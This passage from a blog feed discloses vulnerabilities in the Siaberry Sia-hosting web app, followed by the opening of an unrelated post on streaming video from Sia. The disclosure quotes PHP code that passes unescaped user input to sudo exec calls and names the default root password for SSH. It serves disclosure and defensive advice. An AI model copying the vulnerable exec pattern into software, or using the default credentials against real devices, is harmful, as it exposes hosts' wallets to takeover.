&lt;p&gt;Interestingly, Reddit commenters &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/775ze7/introducing_siaberrywebuisiaberryos12_the/dok9nv9/?st=ji2plpxa&amp;amp;sh=04f72765&quot;&gt;warned of this exact vulnerability seven months ago&lt;/a&gt;. They failed to find a working exploit, but they correctly noted the dangerous pattern of placing user-controlled data into &lt;code class=&quot;highlighter-rouge&quot;&gt;exec&lt;/code&gt; calls.&lt;/p&gt;

&lt;p&gt;Siaberry’s developer, Kete Tefid, dismissed their warnings and insisted that calls to &lt;code class=&quot;highlighter-rouge&quot;&gt;exec&lt;/code&gt; were perfectly safe:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-11-siaberry-1/shell-exec-is-safe.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-11-siaberry-1/shell-exec-is-safe.png&quot; alt=&quot;Siaberry developer ignores warnings about this attack&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/372/shell-exec-is-safe.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/672/shell-exec-is-safe.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/756/shell-exec-is-safe.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/840/shell-exec-is-safe.png 840w,         https://spaceduck.mtlynch.io/images/2018-06-11-siaberry-1/shell-exec-is-safe.png 972w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kete then edited &lt;a href=&quot;https://redd.it/775ze7&quot;&gt;his Siaberry release announcement&lt;/a&gt; to include this note:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A word on &lt;strong&gt;security&lt;/strong&gt;&lt;/p&gt;

  &lt;p&gt;TLDR; It &lt;strong&gt;&lt;em&gt;is&lt;/em&gt;&lt;/strong&gt; secure.&lt;/p&gt;

  &lt;p&gt;I have put much time into the software to make sure that everything works accordingly. I myself have checked things and tried to break possible forms &lt;strong&gt;literally&lt;/strong&gt; more than &lt;strong&gt;a thousand times&lt;/strong&gt; to the point that I was certain that I myself cannot somehow break it and get unauthorized access.&lt;/p&gt;

  &lt;p&gt;-Kete Tefid, Siaberry developer&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;why-the-impact-is-still-low&quot;&gt;Why the impact is still low&lt;/h1&gt;

&lt;p&gt;Though arbitrary command injection on the login screen might seem scary, the effective impact of this issue is low.&lt;/p&gt;

&lt;p&gt;There are very few Siaberry users in the wild, probably on the order of dozens. Of the few hosts that use Siaberry, none of them appear to have configured their devices to accept traffic from the Internet.&lt;/p&gt;

&lt;p&gt;A &lt;a href=&quot;https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)&quot;&gt;cross-site request forgery&lt;/a&gt; (CSRF) vulnerability could have amplified the severity, but I was unable to find any viable CSRF attacks. A CSRF attack is one in which the attacker convinces the victim to visit a malicious web page, then uses JavaScript to force the victim’s browser to make arbitrary HTTP requests to a different site.&lt;/p&gt;

&lt;p&gt;If Siaberry &lt;em&gt;were&lt;/em&gt;  vulnerable to CSRF attacks, the command injection vulnerability would have greater severity because the attacker could take control of any Siaberry device simply by convincing anyone on the device’s local network to visit a malicious website.&lt;/p&gt;

&lt;h1 id=&quot;siaberry-architecture-is-fundamentally-insecure&quot;&gt;Siaberry architecture is fundamentally insecure&lt;/h1&gt;

&lt;p&gt;While Siaberry’s command injection vulnerability might appear to be a single, careless mistake, investigation of the codebase reveals an entire application architecture that is fundamentally insecure.&lt;/p&gt;

&lt;h2 id=&quot;interprocess-communication-via-shell-commands&quot;&gt;Interprocess communication via shell commands&lt;/h2&gt;

&lt;p&gt;Siaberry’s web app comes bundled with 25 shell scripts in the &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI/tree/e997d06c07bcba1473b72cd2f894b89e58c0471e/bin&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;bin/&lt;/code&gt; folder&lt;/a&gt;. The web app is responsible for executing these scripts through PHP &lt;code class=&quot;highlighter-rouge&quot;&gt;exec&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;shell_exec&lt;/code&gt; calls, many of them with sudo privileges.&lt;/p&gt;

&lt;p&gt;If the attacker controls the command string, they can inject commands and trick Siaberry into executing them, as shown with the vulnerability above.&lt;/p&gt;

&lt;p&gt;It’s certainly possible to prevent command injection by restricting user inputs and sanitizing them for the shell, but that only works if the developer gets it right every single time. It’s safer to avoid shell commands entirely as a form of interprocess communication. There are plenty of other ways for apps to communicate where the communication channel itself cannot accidentally execute arbitrary code as a side-effect.&lt;/p&gt;

&lt;h2 id=&quot;excessive-web-app-privileges&quot;&gt;Excessive web app privileges&lt;/h2&gt;

&lt;p&gt;Siaberry is a multi-tier application. The part the user sees is the web app frontend, but there are many background processes the user interacts with indirectly through the web app, including the Sia daemon itself.&lt;/p&gt;

&lt;p&gt;In any multi-tier application, the web app is the most likely component to be compromised because it handles the highest volume of untrusted input. Because of this, secure architectures follow the &lt;a href=&quot;https://en.wikipedia.org/wiki/Principle_of_least_privilege&quot;&gt;principle of least privilege&lt;/a&gt; in which they  strictly limit the web app’s permissions. That way, if an attacker compromises the web app, they don’t gain control of the entire system.&lt;/p&gt;

&lt;p&gt;Siaberry doesn’t follow this principle, at least not entirely. The web app performs actions as &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt;, though it does limit these tasks to a whitelist of shell scripts. It’s poor practice to give a web app sudo privileges, but it’s better than the naïve solution of running the entire app as &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;my-recommendations&quot;&gt;My recommendations&lt;/h1&gt;

&lt;h2 id=&quot;short-term-use-escapeshellarg&quot;&gt;Short-term: Use &lt;code class=&quot;highlighter-rouge&quot;&gt;escapeshellarg&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;The first note in PHP’s documentation for &lt;code class=&quot;highlighter-rouge&quot;&gt;exec&lt;/code&gt; warns developers that they must escape any user-controllable input they pass to this function. Siaberry’s code never heeds this warning.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-06-11-siaberry-1/exec-warning.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-11-siaberry-1/exec-warning.png&quot; alt=&quot;Warning in PHP documentation to escape shell arguments&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/372/exec-warning.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/672/exec-warning.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/756/exec-warning.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/840/exec-warning.png 840w,         https://spaceduck.mtlynch.io/images/2018-06-11-siaberry-1/exec-warning.png 855w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; &quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Warning in PHP&apos;s documentation instructing developers to escape arguments to exec()&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;As a short-term patch, Siaberry should wrap all user-controlled shell arguments using the &lt;a href=&quot;https://secure.php.net/manual/en/function.escapeshellarg.php&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;escapeshellarg&lt;/code&gt; function&lt;/a&gt;. This would prevent the attacker from abusing shell metacharacters to inject commands.&lt;/p&gt;

&lt;p&gt;It’s not a good long-term solution because it’s fundamentally dangerous to perform interprocess communication through shell commands. It would serve as a reasonable stopgap until Siaberry migrates to a more robust design.&lt;/p&gt;

&lt;h2 id=&quot;long-term-use-a-privileged-broker-process&quot;&gt;Long-term: Use a privileged broker process&lt;/h2&gt;

&lt;p&gt;The long-term fix requires Siaberry to address the weaknesses in its architecture. I believe the best way to do this is to add a privileged broker process.&lt;/p&gt;

&lt;p&gt;The broker process would run in a separate user context from the web app. It would have permissions to perform privileged actions that Siaberry needs, such as formatting a USB drive or accessing the user’s Sia wallet.&lt;/p&gt;

&lt;p&gt;The broker process should offer an interprocess communication channel that doesn’t risk side effects. One example of a safer channel would be an HTTP REST service over a &lt;code class=&quot;highlighter-rouge&quot;&gt;localhost&lt;/code&gt; port. Another option is a message queue, such as &lt;a href=&quot;https://www.rabbitmq.com/&quot;&gt;RabbitMQ&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The broker should be the only process that communicates directly with Sia. Siaberry could achieve this by configuring Sia to require a password for API calls and allowing only the broker process to have access to the password.&lt;/p&gt;

&lt;p&gt;I’d go a step further and run the web app within a Docker container so that if it’s compromised, the attacker has access only to the container and not the full system. The attacker would only be able to perform actions that the web app is allowed to perform. They couldn’t dump private keys, as in the exploit demo above, because that’s not something that the web app currently needs to do.&lt;/p&gt;

&lt;p&gt;With the heavy lifting delegated to the broker, Siaberry could remove all the dangerous &lt;code class=&quot;highlighter-rouge&quot;&gt;exec&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;exec_shell&lt;/code&gt; commands from its code and &lt;a href=&quot;http://www.madirish.net/199&quot;&gt;harden its PHP configuration&lt;/a&gt; so that it can’t execute arbitrary shell commands even in the case of bugs in the web app.&lt;/p&gt;

&lt;h1 id=&quot;reporting-the-vulnerability-to-siaberry&quot;&gt;Reporting the vulnerability to Siaberry&lt;/h1&gt;

&lt;p&gt;I reported this vulnerability to Siaberry on 2018-04-01 (unrelated to &lt;a href=&quot;/every-siacoin-review-ever/&quot;&gt;April Fool’s Day&lt;/a&gt;). Kete, Siaberry’s developer, was skeptical that the issue was exploitable, but eventually agreed after I sent him a video demo.&lt;/p&gt;

&lt;p&gt;Kete rejected both my short- and long-term recommendations. He told me that Siaberry was intentionally designed so that the web app would have special privileges. He declined my suggestion of a privileged broker by claiming that it’s equal in risk to a privileged web app and adds unnecessary complexity. I cited the principle of least privilege and pointed out that web apps process a large volume of user input, but Kete insisted it would be “a complete reinvention of the wheel.”&lt;/p&gt;

&lt;p&gt;I reported several other security findings to Kete, but he dismissed almost all of them as deliberate engineering decisions Siaberry made to facilitate ease of use.&lt;/p&gt;

&lt;h1 id=&quot;failure-to-agree-on-disclosure-timeline&quot;&gt;Failure to agree on disclosure timeline&lt;/h1&gt;

&lt;p&gt;After reporting the issues I found, I told Kete that I planned to publish my findings but would follow &lt;a href=&quot;https://en.wikipedia.org/wiki/Responsible_disclosure&quot;&gt;responsible disclosure&lt;/a&gt;. I offered to give Siaberry sufficient time to implement fixes and deploy them to customer devices.&lt;/p&gt;

&lt;p&gt;At only ~2,000 lines of code, Siaberry’s web app is relatively small. I was expecting Kete to give me a fix timeline on the scale of days or weeks. I was floored when he told me he needed &lt;strong&gt;six months&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Given the size of the application, I felt that six months was an entirely unreasonable request. I told Kete that I could give him at most 60 days. At this, Kete became irate and has since refused all communication with me.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-11-siaberry-1/disclosure-disagreement.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-11-siaberry-1/disclosure-disagreement.png&quot; alt=&quot;Siaberry developer disagrees with me about disclosure timeline for these vulnerabilities.&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/372/disclosure-disagreement.png 372w,         https://spaceduck.mtlynch.io/images/2018-06-11-siaberry-1/disclosure-disagreement.png 465w&quot; sizes=&quot;465px&quot; class=&quot; &quot; style=&quot;max-width:465px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;siaberrys-brittle-fix&quot;&gt;Siaberry’s brittle fix&lt;/h1&gt;

&lt;p&gt;The following day, I saw that Kete applied &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI/commit/0637ec88ca623b754907d73c325f58b917c5ed6b&quot;&gt;a hacky, superficial fix&lt;/a&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;ActionPage.php&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;uname&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$pass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;psw&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/^[a-z0-9]*$/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/^[a-zA-Z0-9*!@#^_]*$/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;mf&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sudo bin/checker &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pass&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$exitcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This does indeed break my proof-of-concept exploit, but it’s a weak fix. It eliminates shell metacharacters, but in a “roll your own” fashion that relies on regular expressions.&lt;/p&gt;

&lt;p&gt;I can’t think of a bypass, but I also wouldn’t be surprised if someone found a clever way to evade the filter by abusing character encoding, regular expression subtleties, or quirks of shell interpretation. I have more confidence in the &lt;a href=&quot;https://secure.php.net/manual/en/function.escapeshellarg.php&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;escapeshellarg&lt;/code&gt; function&lt;/a&gt; because it’s purpose-built to prevent this exact attack.&lt;/p&gt;

&lt;h1 id=&quot;the-rest-of-my-security-findings-in-brief&quot;&gt;The rest of my security findings, in brief&lt;/h1&gt;

&lt;p&gt;In addition to the login vulnerability above, I reported several issues to Siaberry that they never fixed.&lt;/p&gt;

&lt;p&gt;It has now been over 60 days, which I feel was sufficient time for Siaberry to make a good-faith effort to implement fixes. In that time, Siaberry has made only two changes to the &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI/commits/master&quot;&gt;web app&lt;/a&gt;, totaling less than 10 lines of code.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-06-11-siaberry-1/siaberry-commits.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-11-siaberry-1/siaberry-commits.png&quot; alt=&quot;Two commits to Siaberry&apos;s repo since I notified them of several vulnerabilities&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/372/siaberry-commits.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/672/siaberry-commits.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/756/siaberry-commits.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/840/siaberry-commits.png 840w,         https://spaceduck.mtlynch.io/images/2018-06-11-siaberry-1/siaberry-commits.png 1000w&quot; sizes=&quot;700px&quot; class=&quot; border&quot; style=&quot;max-width:700px&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Minimal activity in Siaberry&apos;s repository after I reported vulnerabilities to them&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;I don’t believe that Siaberry has any intention of fixing the vulnerabilities I reported to them, so I am disclosing the remaining issues below.&lt;/p&gt;

&lt;h2 id=&quot;a-dozen-more-command-injection-vulnerabilities&quot;&gt;A dozen more command injection vulnerabilities&lt;/h2&gt;

&lt;p&gt;The login bypass vulnerability I described above was notable in that it did not require authentication. There are many more command injection vulnerabilities in the code that follow a similar pattern, but they’re only accessible to authenticated users.&lt;/p&gt;

&lt;p&gt;In the &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI/blob/e997d06c07bcba1473b72cd2f894b89e58c0471e/js/SetParams.php&quot;&gt;SetParams.php&lt;/a&gt; file, there are twelve instances where Siaberry blindly executes user-supplied strings, such as in the following snippet:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;autoUnlockpass&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$autounlockpass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;autoUnlockpass&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sudo ../bin/SetAutoUnlock &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$autounlockpass&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;siaberry-uses-insecure-ssh-settings&quot;&gt;Siaberry uses insecure SSH settings&lt;/h2&gt;

&lt;p&gt;Siaberry ships with SSH enabled by default. Further, Siaberry allows SSH login by &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; which is generally considered poor practice.&lt;/p&gt;

&lt;p&gt;At first glance, this seems forgivable given that Siaberry is meant to run headless (no physical display). Then I realized that &lt;a href=&quot;http://www.siaberry.com/SiaBerry-v1.2.3-QuickStart.pdf&quot;&gt;Siaberry’s documentation&lt;/a&gt; doesn’t mention SSH at all, so users bear all the risks of remote access with none of the benefits.&lt;/p&gt;

&lt;h2 id=&quot;siaberry-uses-insecure-default-credentials&quot;&gt;Siaberry uses insecure default credentials&lt;/h2&gt;

&lt;p&gt;Both the standard user account and the &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; account use a default password of &lt;code class=&quot;highlighter-rouge&quot;&gt;siaberry&lt;/code&gt;. The app never prompts the user to change these default credentials.&lt;/p&gt;

&lt;p&gt;The documentation &lt;a href=&quot;http://www.siaberry.com/SiaBerry-v1.2.3-QuickStart.pdf&quot;&gt;recommends&lt;/a&gt; that the user reset their passwords, but a user who skips the documentation could very well use Siaberry without ever realizing they’re supposed to change their password or that there’s even a &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; password to change.&lt;/p&gt;

&lt;h2 id=&quot;siaberry-is-vulnerable-to-clickjacking&quot;&gt;Siaberry is vulnerable to clickjacking&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.troyhunt.com/clickjack-attack-hidden-threat-right-in/&quot;&gt;Clickjacking&lt;/a&gt; is an attack in which the attacker lures the victim to a malicious website and then induces them to click the screen. Unbeknownst to the victim, they’re actually clicking buttons on a different website that the attacker has overlayed in an invisible iframe.&lt;/p&gt;

&lt;p&gt;As the name implies, a  clickjacking attack is limited to mouse clicks, so it’s not possible for the attacker to compromise Siaberry in any way that involves typing (e.g., sending victim funds to an attacker-controlled address). There is still plenty that Siaberry allows the user to do purely through clicks, such as reformatting the victim’s flash drive, which would cause them to default on all of their Sia storage contracts and lose all their collateral.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-06-11-siaberry-1/format-flash.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-11-siaberry-1/format-flash.png&quot; alt=&quot;Screenshot of Siaberry offering to format a flash drive&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-11-siaberry-1/372/format-flash.png 372w,         https://spaceduck.mtlynch.io/images/2018-06-11-siaberry-1/format-flash.png 517w&quot; sizes=&quot;517px&quot; class=&quot; &quot; style=&quot;max-width:517px&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Possible target of clickjacking attack&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;The fix is trivial. Siaberry should set the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Content-Security-Policy: frame-ancestors&lt;/code&gt; HTTP header&lt;/a&gt; in server responses, but the web app does not do this.&lt;/p&gt;

&lt;h1 id=&quot;defense-in-depth&quot;&gt;Defense in depth&lt;/h1&gt;

&lt;p&gt;The following &lt;a href=&quot;https://redd.it/775ze7&quot;&gt;public comment&lt;/a&gt; from Kete perhaps explains Siaberry’s lack of action on these additional issues:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Some friends have commented that putting foo in bar will make boo. The point is that you should first break into the login and get authorized access to be able to set foo in bar. Secondly, this is not a central, shared website which everyone can connect to. it is &lt;em&gt;your&lt;/em&gt; OS; I do not know why a user would want to break his own OS after he logs into [sic].&lt;/p&gt;

  &lt;p&gt;-Kete Tefid, Siaberry developer&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To understand the problem with this reasoning, imagine the following separate, hypothetical scenarios:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Scenario #1&lt;/strong&gt;: There’s a CSRF vulnerability that allows anonymous users to modify the Sia directory path through the Siaberry web app.
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;&lt;em&gt;Naïve response&lt;/em&gt;&lt;/strong&gt;: “Who cares? Why would the attacker want to do that?”&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Scenario #2&lt;/strong&gt;: There’s a command-injection vulnerability that allows an attacker to execute arbitrary commands by setting the Sia directory path in the web app to a specially crafted value, but they have to be logged in to do it.
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;&lt;em&gt;Naïve response&lt;/em&gt;&lt;/strong&gt;: “Who cares? Why would an authenticated user attack themselves?”&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Separately, these vulnerabilities are harmless, but together, they would be quite dangerous.&lt;/p&gt;

&lt;p&gt;Secure systems protect not only their external perimeter but their inner defenses as well. This is known as &lt;a href=&quot;https://en.wikipedia.org/wiki/Defense_in_depth_(computing)&quot;&gt;defense in depth&lt;/a&gt;. You never &lt;em&gt;know&lt;/em&gt; that the vulnerability you see is the only one in the system. The right decision in most cases is to fix the vulnerabilities you can see so that you limit the damage of those you can’t.&lt;/p&gt;

&lt;h1 id=&quot;timeline&quot;&gt;Timeline&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2018-04-01&lt;/strong&gt;: I report all of my findings to Siaberry developer Kete Tefid.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2018-04-02&lt;/strong&gt;: Kete &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI/commit/0637ec88ca623b754907d73c325f58b917c5ed6b&quot;&gt;patches the command injection vulnerability&lt;/a&gt; on the login page.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2018-04-05&lt;/strong&gt;: I follow up with Kete to ask if Siaberry plans to fix the remaining issues I reported.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2018-04-06&lt;/strong&gt;: Kete responds, “I will be working on them but as I said it might not be done within your time frame. So as I said before, you are free to go according to your own plan.”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2018-04-06&lt;/strong&gt;: I request clarification on what issues he plans to fix, but Kete refuses to speak with me.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2018-06-11&lt;/strong&gt;: My 60-day blackout window elapses. I publicly disclose all issues that I reported to Siaberry.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;conclusion-avoid-siaberry&quot;&gt;Conclusion: Avoid Siaberry&lt;/h1&gt;

&lt;p&gt;For a host to earn money on the Sia network, it needs to keep a hot wallet carrying sufficient Siacoin to guarantee its contracts. It’s not unusual for the value of the Siacoin in the host’s wallet to reach hundreds or even thousands of US dollars’ worth of Siacoin.&lt;/p&gt;

&lt;p&gt;Whenever you give software access to your Sia node, you’re increasing the attack surface of your wallet and therefore increasing the risk of compromise. If the software provides high value and has robust security, this tradeoff can be worthwhile.&lt;/p&gt;

&lt;p&gt;Siaberry’s team does not demonstrate an understanding or commitment to security. I don’t believe they are trustworthy custodians of your Siacoin, so I recommend against using Siaberry software to manage your Sia node.&lt;/p&gt;

&lt;h1 id=&quot;still-not-convinced&quot;&gt;Still not convinced?&lt;/h1&gt;

&lt;p&gt;While researching this article, I discovered enough troubling business practices from Siaberry for a whole additional post. Check back tomorrow for my follow-up article, &lt;a href=&quot;/siaberry-2&quot;&gt;“The Many Other Reasons to Avoid Siaberry.”&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 11 Jun 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/siaberry-1/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/siaberry-1/</guid>
      </item>
    
      <item>
        <title>Streaming Video with Sia (Live Demo)</title>
        <description>&lt;p&gt;File streaming is the headline feature of Sia’s next release. Users will be able to stream files over HTTP, whereas previously they had to fully download their files to disk in order to access them.&lt;/p&gt;

&lt;p&gt;The key limitation is that streaming only works within the local system. Sia can’t, for instance, serve videos to a web page.&lt;/p&gt;

&lt;p&gt;Or rather, Sia can’t do this &lt;em&gt;natively&lt;/em&gt;. Using Docker and the Sia 1.3.3 release candidate, I created a server that streams my files from Sia to any place I want.&lt;/p&gt;

&lt;p&gt;Below, you’ll find embedded videos that I’m serving directly from my Sia node.&lt;/p&gt;

&lt;h1 id=&quot;setting-up-remote-streaming&quot;&gt;Setting up remote streaming&lt;/h1&gt;

&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;

&lt;p&gt;The only software you’ll need to follow my examples is Docker.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://store.docker.com/search?offering=community&amp;amp;type=edition&quot;&gt;Docker Community Edition&lt;/a&gt; is available for free on all major OSes.&lt;/p&gt;

&lt;h2 id=&quot;files&quot;&gt;Files&lt;/h2&gt;

&lt;p&gt;You’ll need to download just two files, which I’ll explain in turn:&lt;/p&gt;

&lt;h3 id=&quot;docker-composeyml&quot;&gt;docker-compose.yml&lt;/h3&gt;

